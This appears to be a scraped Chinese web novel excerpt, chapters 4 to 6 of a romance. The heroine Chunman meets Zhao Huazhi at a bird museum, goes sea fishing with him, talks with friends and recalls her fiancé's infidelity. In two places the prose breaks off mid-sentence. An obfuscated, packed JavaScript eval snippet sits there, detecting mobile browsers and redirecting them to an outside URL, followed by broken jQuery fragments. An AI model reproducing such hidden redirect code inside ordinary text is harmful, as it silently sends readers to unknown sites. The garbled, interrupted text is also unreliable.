展览馆不小,动线设计得很是合理,逐个展馆参观,不用走回头路便能参观完全部。 赵华致没有对墙壁和展架上的物件、信息做停留,大步流星地通行在展馆与展馆之间。 经过某个展馆时,赵华致注意到一只展翅的白色飞鸟,白里透粉的羽毛,纤长下弯的黑色鸟喙,十分的漂亮。 赵华致认得这种鸟,朱鹮,性格温顺,是吉祥之鸟,形象被用于邮票和纪念币上,也是某一届全运会的吉祥物。 而且这种鸟一生都坚持一夫一妻制,它们不仅在生殖行为上非常忠诚,而且在共同筑巢和一起觅食等方面也非常亲密。 是一种有名的爱情鸟。 赵华致虽有兴致,却无暇多欣赏,准备抬步时,福至心灵地往旁边移了视线。 只见那道熟悉的身影从展览墙后面走出来,岁月对她是仁慈的,清丽的身形依旧轻盈,被象牙塔保护出的跳脱灵气,蜕变成如今悲情底色下温柔却不乏力度的韧劲儿。 四年时光仿佛被压缩,期间的一切因缘际会和夙愿难偿都在记忆中淡去。 赵华致逐渐稳住了脚步,视线锁定在她身上。 春满手腕处过敏的症状已经消了,午后的阳光透过落地玻璃窗照进来,皮肤愈发白皙细腻,吹弹可破。 她穿平底鞋,身形依旧修长,一袭长裙走近时,让赵华致想起大四那年摄影展上,春满抱着花束,接受告白,与自己渐行渐远的背影。 赵华致觉得,说不准自己真能沾一沾这种鸟的好意头。 赵华致不自觉地走近几步,在春满没有明确焦距的视线落过来时,生怕被忽视般,率先出声:“巧。” 4. 第 4 章 04 私人博物馆宣传不足,零星没几个参观者。 物理意义上的空旷,衬得两人间的氛围有些不可言说的微妙。 春满停步,诧异得一时忘记说话。转念一想这附近可玩的景点集中,转角遇熟人再寻常不过。况且春满在饭桌上耍了那个小心思,赵华致不可能知道她此刻出现在这里。 今天接二连三遇见,的确应了一个“巧”字。 “赵总。”春满出声,面色如常地打招呼。很快她别开视线,看向展览墙,并没打算多交谈。 赵华致稳着步子朝她走近些,主动问起:“过敏症状缓解了吗?” “已经没事了。”可能是处在随便说点什么,都会产生沉闷回响的环境,让人没有说话的欲望。春满回应得依旧平淡,略一顿,补充道,“谢谢你安排送到房间的甜品,很好吃。” “喜欢就好。”赵华致语气自然,让人挑不出端倪,“之前一起吃饭,你跟餐厅服务生说忌口,我无意中听见,不曾想今天帮了忙。” 竟真是她猜测的原因。 春满原有的几分存疑,经过这句解释,都化为惭愧和反思。 春满不打算让猜忌和提防的狭隘心思持续发酵,正准备岔开话题,有人走近。 是刚刚和赵华致说话的跛脚男人:“赵先生,我爷爷有幸得到一套宋代的《珍禽图》,想请您掌掌眼。” “哪位画家?”赵华致注意到春满不动声色地拉开与他在人前的距离。 “擅长花鸟画的,黄疍。” 春满自以为疏远得不着痕迹,甚至打算找个由头离开,但听到男人的介绍后,眼睛微不可察地亮起来,不自知地流露出好奇。 她过去只以数字特展的方式欣赏过这幅图的全貌,还未看过真迹。 未等她深想,赵华致偏头询问她的看法:“感不感兴趣?” 意思是要带上她? 春满犹豫地看了眼发出邀请的男人,看回赵华致,低声询问:“我方便一起吗?” 赵华致同样配合地放轻声音,回答:“你喜欢的话我们就去看看。” 春满是挺有兴趣的。她对字画的兴致一般,但如果是花鸟主题的古画,心思是蠢蠢欲动的。 跛脚男人视线不动声色地在春满和赵华致之间逡巡,随着咂摸出点意味来,嘴角笑意渐深,为两人引路。 博物馆旁边有一处被山水环绕的四合院,春满了解些简单的风水学,知道这院落的朝向、陈设等处处都有讲究。 绕过照壁,院子里高高低低挂着不少鸟笼,不乏品种稀有价格昂贵的鸟禽,其中属主屋屋檐下那只羽毛鲜艳的紫蓝金刚鹦鹉最为瞩目。 进屋后,男人让他们稍等,去准备茶水。人刚一走远,赵华致察觉春满朝自己靠近些,疑问地偏头。 离得近了,身高差距更显著。春满诧异地看了看他的发顶,保持着微仰头的姿势,轻声说:“赵总,谢谢你带我开眼界。” 赵华致参加峰会前得知她在这里度假,动过和她见面的念头。 在山上遇见她是偶然。他潜意识里认为春满来这边小住,有机会肯定会去附近的山上逛逛,走相同的路,看她看过的自然,能多些话题也是好的。 几个小时前的午餐同样是侥幸。 而下午的相遇确实带着目的性,赵华致将此当作一场约会奔赴,因此衣着严谨讲究很多。虽然早晨爬山的形象在外人看来并无不妥和失礼。 在山上时,考虑到运动出汗,赵华致刻意保持的物理距离更接近他们一贯的相处状态。 不像此刻,太近了。 竹帘被弯钩挂住,在风中作响,与室外泉水环佩声相衬。 风从赵华致身后吹来,男士香水经典的乌木和佛手柑的气味既柔和又撩人。他沉默几秒,开口时嗓音紧劲,微沉,听得人耳朵莫名发麻:“之后不要喊我赵总就好,我的名字应该不拗口,你可以直接叫。” 赵华致说得大度坦诚,骤然放大的五官俊朗立体,眉宇深邃,鼻梁高挺,唇角舒展时自带不怒自威的气场,不论五官本身,还是他眼底的神态,很轻易地让人印象深刻。 春满如此距离地盯着他的眼睛时,只觉陌生。深褐色的瞳孔里,她挤得满满的。 春满嘴角动了动似有为难。 余光中有人走近,春满不动声色地挪远些,最终春满找了个折中的方式,商量道:“有些不适应。要不我喊你学长吧。” - 老人家年逾花甲,仍精神矍铄,跟赵华致的父母是旧交,因此看待两个小辈时,很是慈和。 看过画、喝了茶。不知不觉到了饭点,主人一家要留他们吃饭,赵华致以还有事为由,没答应。 从主人家出来,春满一心记得他刚刚的话,准备作别时,只听赵华致主动提:“附近有家日料店不错,想去吃吗? “不是说有事吗?”春满疑问。 赵华致说得直白:“有外人在吃得不自在。” 春满心说我不也是外人吗?但话到嘴边变为:“那这顿我来请。” 话音刚落,春满手机响,是舅妈打来的。 春满不打算接,按掉铃声音量等电话自然挂断。 这时赵华致留下一句“我去旁边等你”,给春满空间。 春满如果立刻跟上,再合理的解释,都显得自己迫不及待一起吃饭,这一瞬的顾虑让她误触到接通键。 母亲满郁离婚时,春满七岁读小学了,头几年跟着姥姥生活,姥姥生病又被送去舅舅那。在舅舅家春满不仅被克扣满郁留的生活费,还被表哥冤枉偷钱,只住了一个学期便被满郁带在身边。 春满的学生时代随母亲工作调动生活在全国各地,不停地转学,但没再被人欺负过。春满上大学后,满郁的工作重心落回北央市,母女俩才搬回来,重新和舅妈一家联系上,但也只是保持基本的亲戚往来。 “小恺多好一个孩子,我和你舅舅都觉得好。小打小闹的吵吵架是生活情趣,但你怎么能说不结婚就不结婚呢。这么好的一家人,打着灯笼都难找诶。” “你已经二十五了,不能再任性了,女人到了一定年纪就不好嫁了。舅妈是过来人,说的都是人生经验。” 春满低头看了眼鞋子,没什么耐心地听电话那头长篇大论的“为你好”,知道舅妈是不可能说动母亲来劝自己,只好直接打来的。 她真后悔接通了。 赵华致想怎么误会就怎么误会,总好过让耳朵遭这罪。 一段长达四年、走到谈婚论嫁的感情,放弃时春满作为当事人怎么可能不难受。 对面人打着“为她好”的名义,却只关心自己的诉求,用刻板迂腐的思想,将她的决定定义为任性。 除了苛刻的指责,她竟然还要经受武断的误解。 轮到自己说话时,春满本想说“人都有老的一天,但倚老卖老就不应该了”“女人不是商品,多少岁都值得被爱”,或者直说房嘉恺是劈腿的过错方。 千万句驳斥她的话,春满最后只说一句:“我听明白了。舅妈我还有工作,先不说了。” 跑为上策。 人只会在自己的逻辑里自洽。就像别人改变不了春满的决定,她也影响不了别人的言论。 前段时间联系一众亲朋取消订婚的电话,是她一个个打的。起初那个过程并不好受,但感觉上跟发现房嘉恺出轨那刻的震怒完全不同,她已经没有任何情绪输出,只剩一种平静的麻木。 当联系人数过半时,春满的状态越来越轻松、冷静和熟练。 挂断最后一个电话,春满只感觉到了解脱。 她亲手给这段感情画上句号,坚定但疲惫。 就像此刻,春满不会因为亲戚的言论为过去言行检讨自己,但仍然很疲惫一样。 春满走到赵华致身边时,尽量调整好情绪,抿出个笑:“我打完了,走吧。” 赵华致给她开车门时,还是注意到经过方才那一通电话她的脸色并不好看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467356|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春满本能地系安全带,锁扣碰撞发出咔哒声响,她才后知后觉方才自己就这么让赵华致给自己开了车门。 “你的手机铃声是自己录制的?”赵华致毫无征兆地开口,“听着像是很多种鸟的叫声。” 聊起爱好,春满杂乱的思绪被迅速抚平,说:“我有采集鸟叫声的习惯,自己混剪了一条音频设置成铃声,不过很多人觉着刺耳听不惯。” “我挺喜欢的。”赵华致语气真诚,实在不像是在安慰人,“四脚杜鹃、布谷鸟、画眉、夜莺,我只听出这几种。还有什么?” “我大概用了几十种我听着比较喜欢的鸟叫声。”春满拿出手机,播放了用作铃声的音频。 赵华致直视前方,专注于路况,不耽误边听边指出叫声来自哪种鸟,遇到听不出的,也会问春满。 有几种鸟的确不常见,春满便兴致勃勃地向他科普一番。 单理论无聊,也可能是说到兴头儿上,春满偶尔还能学几声鸟叫,表情放松灵动,很是风趣。 “你听过最难听的鸟叫声是哪种?”话题自由发散,赵华致倒反天罡地问起。 “雕鸮低沉的笑?伯劳的电音嗓子?笑翠鸟的叫声也挺好笑的。”春满细数起来,这些鸟禽不论体型如何,在春满眼中都是可爱的,叫声好听与否是比较出来的,是物种进行交流和表达的正常方式,但不得不说,有些鸟叫声难听得自带幽默感染力,一想起来,便忍俊不禁,“我之前还真混剪过一条最难听鸟叫声的音频。哦对,还有褐翅鸦鹃的叫声,难听得令人印象深刻。” “这个吗?”赵华致信手拈来地学了几声。这种鸟的叫声抽风且魔性,奇怪中带着几分恐怖的感觉。 “对对对。姜早早说这个叫声特像‘反派boss邪魅狂狷’的笑,太洗脑了。别说,你学得还挺像。” “这算头腔共鸣还是胸腔共鸣,学得我头晕。而且这叫声简直有损我的形象。”赵华致叹道。 日料店距离不远,十五分钟的车程。春满被戳中笑点般,一直到下车都没压平嘴角翘着的弧度。 两人被服务生引着去包间,经过某间被竹帘遮挡隔间时,听到里面传出不高不低的说话声。 “怎么说也是四年的感情,说断就断。那女的要么心狠,要么早给房嘉恺戴了绿帽子,她就不是安分的长相。” 赵华致拧着眉顿住步伐,发现春满早就停下,面无表情地听着里面的人审判。 包间里的人结束用餐零零散散地出来,发现春满时一个接一个的愣住,方才言论最激烈的那个男人还要说,被同伴用胳膊肘捣了一下,才终于发现。 面上尴尬的情绪一瞬即逝,渐渐变成“我又没说错什么”的理直气壮。 春满和房嘉恺不是公众人物,社交圈沾不上关系的人不会知道他们感情的事。充其量算朋友的朋友,对方并不在意春满的感受,不像其他几个保持着成年人的体面赔笑打招呼,除了冷哼就是白眼,极端又没教养。 没等春满开口,赵华致比她反应更激烈。 “在背后嚼舌根,当面不认识?看来你的消息准确度存疑。别是把自己那点肮脏的经历编排进去找存在感吧。” 赵华致甚至朝男人头顶瞟了一眼,眼神意味不明。 对方被怼得脸红,想反击却被赵华致的气场和不菲的穿着唬住。 有人认出了赵华致,见状和事佬般给春满道歉,解释是说着玩的。 而道歉是最不值钱的东西。春满没应,截断了赵华致睨过去不打算罢休的眼神,语气冷淡道:“我们走吧。” 坐在包间里,春满盯着桌面上倒映下的竹影,安静地发呆。 余光见赵华致从服务生手中接过菜单,推给自己先点,春满才迟钝地缓缓抬头:“抱歉赵总,影响你的用餐心情了。我实在没什么胃口,想先回去休息。” 刚改口叫了半天的“学长”,又改回原先的称呼了。赵华致把菜单合住,仿佛能感知到春满的疼痛一般,心跟着揪在一起。 5. 第 5 章 05 当春满用“工作关系,不熟”来定义她和赵华致的关系时,Hazel,也就是邀请春满来度假的那个本名叫何广的设计师朋友,说:“那天我站在酒店大堂的角落里,看你俩跟演偶像剧似的,依依惜别。般配,沉浸,两个人之间的氛围分明跟其他人有壁,简直不要太明显。” 当时情况是两位当事人并不知道角落有人在偷窥。 在日料店里春满提出想回酒店休息后,赵华致在她又一声“抱歉”中,应下,起身送她。 回酒店的一路,春满都很安静。去的时候车厢里的欢声笑语不复存在,莫名有种时移世易的凄清感。 春满解开安全带,跟赵华致道谢后,下车,并没有注意到赵华致紧随其后也下来了。 赵华致站在酒店门廊下,注视着春满走近大堂的背影。 富丽堂皇的装潢,却空旷得令人觉得这道身影羸弱消瘦。 “春满。”赵华致抬声把人叫住。 春满止步转身,看到从外面疾步而来的赵华致。 他停在面前,突然发问:“想去海钓吗?” “什么?” “你状态太差,独处只会让坏情绪恶性循环。我安排了游轮在附近的码头,从这里过去二十分钟就能到,十点前把你安全送回来。”赵华致不容置喙的口吻生出几分僭越的冒犯感。 春满第一反应是不答应,但脑内突然闪过在日料店里赵华致替自己出头的场景,贫瘠封闭的心脏流过汩汩热意,罕见地有了生命力。 大概有些人,天生有责任心。 “钓鱼、吹海风、运气好的话,能看到海豚。之前看过一句话,‘如果在陆地上不开心,还有山川、大海和天空。’你喜欢这种说法吗?”赵华致一瞬不瞬地盯着她,从这个角度,只能看到她微垂下的浓密睫毛,看不清表情。 但他确定春满是喜欢的。 这句话是春满喜欢大自然的初心。早些年在社交平台发布动态时,她常用这句话。 乍听旁人提起,春满感觉挺微妙的。 “方才的事责任在我,但凡我换一家餐厅就好了。”赵华致看上去很介意这接连几件不完美的小插曲。周遭办理入住的客人不经意地望过来,不知是觉得两人的氛围奇怪,还是这对男女过于养眼。他音量控制在只有两人听得到的范畴,不造成不必要的影响,“如果你不想去也没关系,我安排这些不费事的,让等在码头的轮渡回去就是了。” 类似的话,换个人来说,有道德绑架春满之嫌。大概赵华致眼神太诚恳,如此解释一句更像是担心春满因一再拒绝他有愧似的。 春满开口还是没能拒绝这份恰如其分的周到:“我需要回房间收拾一下自己,十分钟后见可以吗?” “当然。” - 十分钟后,两人踏上去往码头的车上,春满佯装若无其事,安静但不再忧虑,处于一种不想扫兴却又提不起太高兴致的折中状态。 等上了轮渡,发动机和海浪的声音,一层叠一层地渐渐盖过春满心里的杂绪。 避免头发乱飞,春满编了个麻花辫垂在一侧肩膀处。她的脸本就小,鼻梁上架着的墨镜直接挡去一半。 到达适合海钓的开阔海域时,春满没注意船开出来多久。 接过赵华致递来的鱼竿,春满道谢,听他简单讲解器械使用和鱼钩固定的方法,便跃跃欲试地上手操作。 “左手握在这个位置会省力些。”两人站得近,船身摇晃时长裙的裙摆会扫过笔挺的西装裤。 赵华致纠正她的错误动作时,抬手握了下她的鱼竿,相邻的手肘轻轻触碰,再没有发生多余的接触。 “我先甩钩了。”可能是海风的魅力,春满的尾音不自知的上扬,心情很好的样子。 赵华致还在固定鱼饵阶段,他看了眼旁边安静注视着海面的春满,一两秒后,把空钩甩下海里,决定把头一份收获的喜悦交给她。 风吹乱了她未束起的碎发,弯曲的发梢挂在鼻梁上,她因想事情出神,似乎并没有察觉。 春满抬手,勾住碎发随意掖到耳后。 春满在社交上是个很百搭,但偶尔也苛刻的人。 身为成年人,很多时候出于社交礼仪和人情往来的考量,会不得不面对一些场合。但如果她实在对某件事感到不舒服,不想营业时,也是敢直白地表达自己的想法。 和房嘉恺分手是。 想回去休息也是。 但被赵华致三两句话改变了主意,是她没料到的。 话赶着话,情绪压着情绪,每一个念头逻辑上都是合理的,但结果却已偏航。 鱼竿晃动的力道拽回了春满的注意力,她反应了一会儿,才确认:“好像咬钩了。” 海风又大了些,春满的碎发又乱了。 赵华致收回抬到一半试图帮她理头发的手,下一秒对上春满分享时难掩的喜悦。 好在只是仓促的一眼,春满满心满眼都是钩上的鱼,并未捕捉到赵华致眼底转瞬即逝的心虚。 “我帮你。”赵华致拿着捞鱼的网兜上前帮忙。 不小的一条马友鱼,春满抱在怀里的时候险些手滑把它放生,本能地收紧手臂,却不小心溅得救生马甲和脸上都是腥咸的海水,场面一时混乱、狼狈。 她躲避着别开脸时笑得却很开心。 赵华致仿佛完全是一个旁观者,注视着如此鲜活灵动的一幕,越发觉得自己在酒店大堂外的冲动决定是何其正确。 “需要我帮你拍张照纪念一下吗?新手钓到这么大一条,不是一般的好运气。” 春满的墨镜不知道掉到哪里,有海水溅到眼睛里,她眨动几下眼睫,并没有抱怨:“那得快点拍,我真担心她滑走,要不要先把它打晕……” “你再坚持一会儿,马上就好。” 赵华致动作自然是快的,画面定格时,浑圆的落日悬停在她背后,四射的光芒把她的皮肤烫出金色,姣好的脸庞骨骼立体精致,整个人浪漫又温柔。 飞溅的水珠也是金色的,像一个个围绕她起舞的精灵。 每一缕发丝扬起的弧度都恰到好处,颇具电影画面的质感。 赵华致贪心地想要放大局部,再拍一张正脸时,春满把即将挣脱的鱼放进了旁边的铁桶里,筋疲力尽地蹲在地上仰脸看他:“有拍到吗?” 从这个角度拍摄也好看,站着时高挑的人,蹲下却小小的一只,微眯着眼看过来时,看似疲惫的慵懒劲儿,经过足够饱和的笑容渲染,充斥着氧气满满的纯欲感。 赵华致没有机会再按一次快门,在她急不可耐的催促中,把手机屏幕朝向她,示意她自己看。 海上阳光刺眼,春满费了些功夫才看清楚,手臂伸高,冲他比了个赞。 有海员听到他们的欢呼出来了解情况,等对方把鱼带到厨房加工,春满又按捺不住地甩了次钩。 “有你这条垫底,我不担心饿肚子了。如果我一直没钓上来,不介意让我蹭口吃的吧。”赵华致固定好鱼饵,重新下了一次钩。 “分你半条。”春满爽快道。人在心情好的时候,不会吝啬帮助别人。 春满钓上第二条时,赵华致也收获了今晚的第一条鱼。 春满虽意犹未尽,但肚子开始叫嚣,刚好厨师招呼可以开餐了,只好暂停。 金乌西坠,暮色四合,浪声更加清晰,但春满的心情格外的平静放松。他们飘荡在远离陆地、城市和人群的海面上,手机连信号都微弱得可怜,绝不会发生失控的小插曲。 春满某个片刻会想起红尘俗世,但仅有的情绪很快被海浪声吞掉。 返程时,赵华致用AirDrop把照片传输给春满,春满站在甲板上望着远方,恋恋不舍地感慨:“遗憾没看到海豚。” “会有机会的。”赵华致也抬眼望着远处。 - 赵华致只在度假村呆了两个白天,离开时春满并不知情。 春满本就是被朋友叫出来散心的,除了姜早早,还有另外两个,并不会被赵华致牵绊住心思。 彼时的咖啡馆里,大家正聊她在日料店遇到的事。 “不太熟的面子朋友,他这几天刚好也在这边。下次见到直接怼,不用顾忌我。”说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467357|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女人是薛引章,社会记者,工作需要手上可用的线人三教九流都有,社交圈子杂且乱。不用春满透漏,她便通过自己的渠道知道了这个小插曲,很干脆对春满表态。 “别叫我碰见房嘉恺那丫的,保准揍得他亲妈不认。”姜早早愤慨地活动下手腕,言之凿凿。 薛引章一举手:“你打人前请先给我个电话,我要第一手报道。” 春满没参与,抿了口咖啡开始看窗外树梢上跳跃的飞鸟。一旁的Hazel靠过来,打破她的清净:“我们可都听早早说了,昨天连吃了三份甜品,腻得慌。” 略一顿,他意味深长地说:“我觉得赵华致不错。” 姜早早听到关键词,也跟着凑热闹:“我也投赵华致一票。家境样貌没得说,赫京在他管理下的发展势头可见一斑,不少比他年长的前辈都敬他几分。” 薛引章:“这么说的话,天谢和赫京分庭抗礼,谢开阳比赵华致大不了几岁,两人常被放在一起比较,从没落下风。谢开阳也不差。” 姜早早喝了口咖啡,还没咽下去便竖起食指摇了摇:“谢开阳这个人,太阴鸷,身上有一种邪气,让人捉摸不透。当然赵华致也轻易看不透,但他是那种你会觉得他有手腕城府,但人很正派、有底线,不会做伤天害理的事。” Hazel听了会儿,冷不丁地问春满:“两个霸总,你喜欢哪款?” 姜早早和薛引章飞快地转过头,同样期待。 就像是问智力水平一般的普通小孩,“北大清华你想考哪个”一样,是不切实际的妄想罢了。 春满无情地回答:“就算是相亲也不能只关注对方的家境。” “……也是。”姜早早若有所思,正要说什么。 只听春满率先道:“还要看看我的家境。” “……” “……” “……” 春满的家境不差,但比不了赵、谢两家。姜早早和薛引章都是靠自己打拼起来的,家里只是小康水平。Hazel家比房嘉恺家稍好些,但没办法和赵、谢相提并论。 “我还是继续跟你说吧。”姜早早把这句“自知之明”当成她油盐不进的证据,充耳不闻般扭头面对薛引章,“去年天谢被几家友商联合针对,煽动小公司见风使舵嫁祸天谢,是赵华致第一个站出来说实话,拒绝恶性竞争。还有前段时间谢家内部斗争,物流公司的老大和董事们生出嫌隙,带着团队转头投奔赫京试图做空老东家。如果赫京接纳他们,能不能为赫京带来效益不确定,但一定能重创天谢。赵华致没有趁人之危,足以说明他是个很坦荡的人。” 姜早早八卦的声音还在继续,大概是职业病使然,她对人物的探究欲极强,恨不得将一个人的生平坎坷、人生高光等等都了解清楚,等再挖掘不出新的东西,她便能换目标了。 这些是春满接触不到的领域,这些传言是真是假都未可知。 不过这俩人的聊天很快跑偏,就这两位宿命感极强的死对头在商场有过哪些称得上经典的较量案例发散。 虽然不再执着于拉郎行为,但一整个上午,赵华致的名字就没从春满耳畔消失。 好在Hazel懒得动脑子做分析,甘愿做个肤浅的人,举着手机自拍、拍春满、拉上春满一起自拍,让春满也没闲着。 春满借着摆姿势,心不在焉地走神。 临近午饭时间,几个人转场去餐厅。路上姜早早顾着抢Hazel的手机删除自己的丑照,薛引章走到春满身边,音量不高不低地说:“你跟谁比都不差,配谁都绰绰有余。如果跟赵华致待在一起觉得舒服,那就不用顾虑太多。” 薛引章见多识广,对人和事看得准,同样最理性。春满沉默一瞬,没有表露自己的感受,只是确认:“你也觉得我跟他走得有些近了?” 薛引章话说得公正:“我只是有些意外你们的关系比我以为的融洽,我一直觉得像赵华致这种地位的人,待人接物都是带有目的的。” 春满若有所思,觉得自己在当局者迷的状态下,心态可能有些偏颇。 下次见面时,尽量冷淡一点吧。 6. 第 6 章 06 这几天娱乐活动多,大家零零散散地拍了好几组照片。 姜早早担心房嘉恺循着蛛丝马迹找来打扰春满的散心时光,特意勒令另外两个人谁也不准发社交平台。 直至临返程的前一晚,Hazel才在他设计师账号上分享了一组照片。 没拍到春满的正脸,但不妨碍熟悉她的人通过衣着和身形辨认出身份。 翌日中午,房嘉恺的车子出现在春满这几日入住的酒店外时,春满返程的路已经开出过半。 “你但凡昨晚刷到照片的第一时间过来,也不至于扑空。”Hazel守株待兔,目睹房嘉恺从服务台处得知春满已经退房的事实,优哉游哉得就差手里攥一把瓜子嗑,“看来你也没多重视啊,早干嘛去了。” 春满这几个朋友看似和气亲近,实则都很护犊子,房嘉恺当即意识到自己被戏耍了。 “你故意的?” “是啊。我故意逗你玩呢,是不是很气?”Hazel嘴皮子利索,损人专挑痛处,“真是蝙蝠身上绑鸡毛,你忘了自己是个什么鸟。竟然还有脸来找人?要不我提醒你一下,你,房嘉恺,自诩体面人,临订婚了跟别的女的抱一起热吻,我看不是精虫上脑,是你脑子里装的都是蛆吧。” 房嘉恺长这么大顺风顺水,加之他本身是个好脾气的人,在家里被宠着,在外面没跟人红过脸,吃过最大的苦便是追春满那两年以及如今春满和自己提分手后。 他只恨自己回不了嘴,大堂来来往往的路人投来打量的目光,使他捏紧的拳头无法施展。 房嘉恺一直不认同春满交朋友的眼光,不论是志同道合一起拍摄的鸟友,还是姜早早薛引章Hazel这几个,三教九流,粗俗鄙陋,没有教养,是房嘉恺可以保持基础社交,但绝不会亲近的那一类。 面对积怨已久的对象,房嘉恺保持着不愿与之为伍的嫌恶:“如果你不是慢慢的朋友,我早动手扇你了。” “彼此彼此。如果不是担心打你一顿,会平白给你卖惨的机会,我早动手了。”Hazel体型上比房嘉恺瘦,动起手来未必占优势,但一手掐腰,另只手指着对面人语言输出的气势却很足。 眼看着越来越多路人朝这边偏着脑袋看戏,不知到了多久的薛引章,终于出来打圆场说句“差不多了”,把Hazel拽走。 房嘉恺在周遭人窃窃私语和指指点点中,表情管理失败,大骂了一句“艹”,火气冲天地扭头钻进车里。 另一边,春满已经开过收费站。 姜早早原本在线上跟项目组的人连麦开剧本会,得知薛引章在群里转播酒店大堂发生的事后,关了会议麦克风,笑道:“Hazel真够损的,我都能脑补出他茶言茶语恶心房嘉恺的语气。房嘉恺白跑一趟,肯定气坏了,真是解气!” “你还夸他。”春满瞥她。 姜早早一心二用地听着会议重点,边回春满:“房嘉恺那么恶心你,我们就不能恶心回去了啊。” 春满沉默良久,盯着天边不知何时积聚起来的黑云,车里的空调似乎开得太冷了,不然她怎么能感受到暴雨来之前的阴风气息。 普鲁斯特效应作祟,春满仿佛被扼住命门,强制带回三周前的台风天。 ………… 各大企业因台风发布居家办公通知,春满和房嘉恺回家前一起去采购了充足的食物。 他们刚一起度过了恋爱四周年,她答应了他的求婚,他们的订婚宴正在筹备,生活中的一切都冒着甜蜜幸福的粉色泡泡。 吃过午饭,房嘉恺在沙发上玩游戏,春满借用他书房的电脑做工作PPT。 春满做事喜欢较真,一份半成品ppt被她修修改改,光背景模板就换了好几种风格才找到自己想要的感觉,忙完已经是一个小时后。 她最后预览了一遍效果,打算登录微信把文档传输给自己备份时,才发现电脑上房嘉恺的账号没有退出。 恋爱四年,春满拥有查看对方手机的自由,但没有这个习惯。正要退出时,她瞥见最新聊天的对话框里显示着一句——“你小子当心被嫂子发现跟你分手。” 其实这句话有很多种解释,未必是最糟糕的那种。 春满握着鼠标的手悬空半晌,最终点开了这个对话框。 发消息的人是房嘉恺的大学同学。 在客厅里的房嘉恺用手机聊着天,并没意识到消息同步到了电脑上。 对话框底下弹出他的最新回复:“我有分寸,你嫂子很信任我。” 电脑屏幕大,对话框居中,显示的信息足够多,春满根本不需要翻页,粗略一扫便能猜出大概。 最上面是大学同学发来的,房嘉恺和一个年轻女人在西餐厅吃饭的照片。对方打趣:“沈栀意刚回国你就约上了,不愧是你[坏笑]” 房嘉恺解释说两人只是在聊工作。 “聊工作要去西餐厅,你当我不知道那家餐厅主打情侣约会。你就承认吧,是不是还喜欢着?” “是还挺心动的。”房嘉恺如是回。 再然后便是春满一开始看到的那几条消息。 绿色的气泡映在春满冰冷沉默的眼底。 直到屏幕弹出“该设备已被移出安全设备列表,请重新登陆”的提醒,春满才动了动手指,点击鼠标确认退出。 书房的门被敲响,房嘉恺面色如常,询问春满要不要歇一会儿:“我切了水果。” 春满应了声好,把文件备份。 果盘里三四样水果切得均匀精美,春满坐下时,房嘉恺捏着竹签投喂了一块:“甜吗?” 汁水充盈的蜜瓜本该很甜,春满却食之无味。 房嘉恺又投喂她几块,表现一如既往的体贴。 她是不是把房嘉恺的存在当成了理所当然,忽略了他的感受,才导致他的情感发生变质? “抱歉,用你电脑时,不小心看到了你的聊天内容。”春满缓缓抬眼,直视着他的眼睛,明明还是熟悉的眼神,可她觉得自己似乎看不懂了,“小恺,和我在一起,你是不是后悔了?” 房嘉恺微怔,放下果盘,眼底闪过慌乱:“我跟朋友瞎聊的,上学时一个宿舍吹牛惯了,嘴上没个把门的,我绝对没有对不起你的行为。” “以前喜欢过?” “你知道的,她只是我发小。” 春满不知道自己信没信,介意不介意。 这一晚,台风预警,城市遭凌虐,地铁等公共交通停运,劈裂的树木倒在路中央,满目狼藉。 她因恶劣天气的封控留宿房嘉恺家中,而房嘉恺等她入睡后,去照顾家里同样停电的发小。 次日早晨,他回来时还试图骗她:“醒得这么早?我去一楼找物业问了问停电的情况。如果今晚还要停电,家里的移动电源估计不够用。” “我一直没睡。”春满盯着房嘉恺,问,“沈栀意小区来电了吗?” 她没有等来回答,房嘉恺脸上凝固着谎言被拆穿的惊愕。 很快他们开始争吵。 “房嘉恺,你是有自信再哄我几句,我就可以原谅你吗?还是觉得我不舍得丢掉这四年的感情?” “慢慢,你为什么没明白这个关系呢?我和她认识太久了,一直拿她当哥们,是,她是女的,她就像我双胞胎姐姐一样,你为什么要吃男朋友姐姐的醋呢?我只会跟你结婚啊。” “她是你亲姐姐吗?和我去过纪念日的餐厅,你提前陪她去吃过,台风天停电的晚上,你把我一个人丢在家里去陪她。”春满将手机显示的小红书个人主页朝向房嘉恺,语气前所未有的冷静:“昨晚你们接吻了吗?” 屏幕显示的是沈栀意两个小时前发布的动态:“喝醉酒和关系很好的异性发小亲在一起,还是舌吻,该怎么办啊啊啊啊啊啊。” 房嘉恺手指发着抖接过春满的手机,沈栀意这个账号他并不知道,但这的确是她的。梳妆台、宠物狗、美甲等等细节,都能对应上身份。 这个账号上记录了停电台风夜的荒唐事、去西餐厅吃饭的照片、入职星恒后的工作牌、回国那天房嘉恺接机时的车……等等。 春满发现这个账号的时机很偶然。 昨晚房嘉恺离开后,她起夜去卫生间洗脸时,不小心撞倒了他的高达模型。有零件断掉她不知道怎么复原,便打着灯拍了照片,打算在网上查一下如何补救或者什么途径买新的。 她习惯把小红书当百度用,识图功能很快推荐了拥有同款或者类似模型的博主。 春满点进某一篇放大图片时,发现这个博主拍照的家居背景和房嘉恺家一模一样。 春满很快点进对方的个人主页。 台风夜如何恶劣,都不如春满骤冷的心。 不过,都结束了,不重要了。 “是,你把她当哥们,当双胞胎家人,你这么会处理人际关系的人,难道想不出更好的处理和异性发小关系的办法吗?房嘉恺,我不是你的第一顺位了,你意识到了吗?” 